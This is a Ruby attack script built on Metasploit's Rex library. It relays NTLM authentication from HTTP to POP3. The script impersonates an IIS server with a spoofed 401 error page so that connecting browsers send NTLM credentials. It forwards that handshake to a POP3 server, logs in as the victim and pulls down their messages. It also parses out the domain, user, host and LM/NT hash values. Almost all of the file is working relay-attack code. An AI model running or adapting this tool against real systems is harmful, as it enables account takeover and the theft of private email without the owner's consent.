#!/usr/bin/env ruby

# Capture NTLM/LM via HTTP and proxy to pop3 - Does not do NTLMv2/LMv2 yet (yet)
#
# Author: Kurt Grutzmacher <grutz at jingojango dot net>
# Copyright (c) 2007
# Rev history:
#
#   10/xx/07 - initial release
#
# NTLM auth over HTTP info:
#  http://davenport.sourceforge.net/ntlm.html           (new)
#  http://www.innovation.ch/personal/ronald/ntlm.html  (old)

require 'socket'

msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), 'lib'))

require 'rex'
require 'msf/core'

# global variable for 401 html text
$html401 = %q{
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
 BODY { font: 8pt/12pt verdana }
 H1 { font: 13pt/15pt verdana }
 H2 { font: 8pt/12pt verdana }
 A:link { color: red }
 A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>You are not authorized to view this page</h1>
You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept.
<hr>
<p>Please try the following:</p>
<ul>
<li>Contact the Web site administrator if you believe you should be able to view this directory or page.</li>
<li>Click the <a href="javascript:location.reload()">Refresh</a> button to try again with different credentials.</li>
</ul>
<h2>HTTP Error 401.2 - Unauthorized: Access is denied due to server configuration.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>401</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>About Security</b>, <b>Authentication</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>}

# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# first message if no NTLM authentication is sent in request
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
def firstmessage

  currtime = Time.new
  initialmsg = "HTTP/1.1 401 Unauthorized\r\n" + 
  "Content-Type: text/html\r\n" +
  "Server: Microsoft-IIS/6.0\r\n" +
  "WWW-Authenticate: NTLM\r\n" +
  "X-Powered-By: ASP.NET\r\n" +
  "Date: #{currtime}\r\n" +
  "Content-Length: #{$html401.length}\r\n\r\n" +
  $html401
  
  puts "[*] Sending WWW-Authenticate: NTLM"
  return initialmsg
end

# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# process an NTLM request
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
def processNTLM(httpsock, request, pop3server, pop3port)
  # do some magic on the request
    
  auth, response = ""
  request.each_line{ |line|
    if line =~ /^Authorization: NTLM .*/
      auth = line.split(" ").last
    end
  }

  decode = Rex::Text.decode_base64(auth.strip)

  type = decode[8]

  if type == 1 then
    # Downgrade type 1 message
    #auth = Rex::Proto::SMB::Utils.downgrade_type_message(auth)
    puts "[-] Type 1 message, starting pop3 connection"
    currtime = Time.new
    pop3sock = TCPSocket.new(pop3server, pop3port)
    pop3resp = pop3sock.recvfrom(1024)
    puts "[-] POP3 Header: #{pop3resp.to_s.chomp}"
    pop3sock.send("AUTH\r\n", 0)
    pop3resp = pop3sock.recvfrom(1024)
    puts "[-] POP3 capabilities: #{pop3resp.to_s.chomp}"
    pop3sock.send("AUTH NTLM\r\n", 0)
    pop3resp = pop3sock.recvfrom(1024)
    puts "[-] POP3 returned: #{pop3resp.to_s.chomp}, sending Type1 message #{auth}"
    pop3sock.send("#{auth}\r\n", 0)
    pop3resp = pop3sock.recvfrom(1024)
    
    puts "[-] POP3 returned: #{pop3resp.to_s.chomp}, sending to client"
    pop3resp = pop3resp.to_s.split(" ").last
    
    restext = "HTTP/1.1 401 Unauthorized\r\n" +
    "Content-Type: text/html\r\n" +
    "Server: Microsoft-IIS/6.0\r\n" +
    "WWW-Authenticate: NTLM #{pop3resp}\r\n" +
    "X-Powered-By: ASP.NET\r\n" +
    "Date: #{currtime}\r\n" +
    "Keep-alive: true\r\n" +
    "Content-Length: #{$html401.length}\r\n\r\n" +
    $html401
    
    httpsock.send(restext, 0)
    while line = httpsock.gets
      if line =~ /^Authorization: NTLM .*/
        puts "[-] HTTP client sent auth, sending to pop3 server"
        auth = line.split(" ").last
        puts "[-] Type 3 message: #{auth}"
        pop3sock.send("#{auth}\r\n", 0)
        pop3resp = pop3sock.recv(1024)
        puts "[-] POP3 returned: #{pop3resp.to_s.chomp}"
        if pop3resp =~ /OK User successfully logged on/
          (domain, user, host, lm, nt) = Rex::Proto::SMB::Utils.process_type3_message(auth)
          puts "[*] POP3 Authentication succeeded! #{domain}\\#{user}@#{host}"
          puts "[-] Sending LIST command"
          pop3sock.send("LIST\r\n", 0)
          pop3resp = pop3sock.recv(1024)
          m = /\A\+OK (\d+)[ \t]+(\d+)/.match(pop3resp) or
              raise BadResponseError, "illegal response: #{pop3resp}"
          num = m[1].to_i
          size = m[2].to_i
          puts "[-] #{user} has #{num} messages of #{size} size."
          if (num > 0)
            0.upto(num) do |cnt|
              puts "[-] Getting Msg ##{num}"
              pop3sock.send("RETR #{num}\r\n", 0)
              pop3resp = pop3sock.recv(size)
              puts "[-] #{pop3resp.to_s.chomp}"
            end
          end
        end
        pop3sock.send("QUIT\r\n", 0)
      end
    end
  end

  fd = File.open("web_bug.gif", "rb")
  image = fd.read
  fd.close

  restext = "HTTP/1.1 200 OK\r\n" +
            "Connection: close\r\n" +
            "Content-Type: image/gif" +
            "Content-Length: #{image.length}\r\n\r\n" + 
            image
            
  httpsock.send(restext, 0)
  pop3sock.close
  return
end

# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# Main server start
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

port = ARGV[0] or 8080
pop3server = ARGV[1] or "127.0.0.1"
pop3port = ARGV[2] or "110"

# validate the url actually does NTLM auth

puts "[*] Validating server: "
tsock = TCPSocket.new(pop3server, pop3port)
resp = tsock.recvfrom(1024)
puts "\t" + resp[0]              # greeting
tsock.send("AUTH\r\n", 0)
resp = tsock.recvfrom(1024)
puts "\t" + resp[0]
tsock.close

if resp[0] =~ /NTLM/
  puts "[*] #{pop3server} is a valid POP3 server with NTLM authentication!"
else
  puts "[!] ERROR: #{pop3server} doesn't do NTLM authentication! Exiting..."
  exit
end

puts "[*] Listening for victims on #{port}, using connecting to #{pop3server}:#{pop3port}"
server = TCPServer.open('', port)
loop do
  socket = server.accept
  Thread.start do
    s = socket
    port = s.peeraddr[1]
    name = s.peeraddr[2]
    addr = s.peeraddr[3]
    puts "[!] Connect from #{name}:#{port}"
    request = ""
    begin
      # gather lines up into one big request
      while line = s.gets
        if line !~ /^\r\n$|^\n$/
          request += line 
        else
          # if the request contains Authorization: NTLM in the header, process it
          if request =~ /^Authorization: NTLM/
            s.print processNTLM(s, request, pop3server, pop3port)
            s.close
          else
            # otherwise send the requirement to do NTLM auth.
            s.print firstmessage()
            s.close
          end # if request has ntlm
        end # if line doesn't end
      end # while getting lines
    end # begin 
  end # thread
end # loop-de-loop

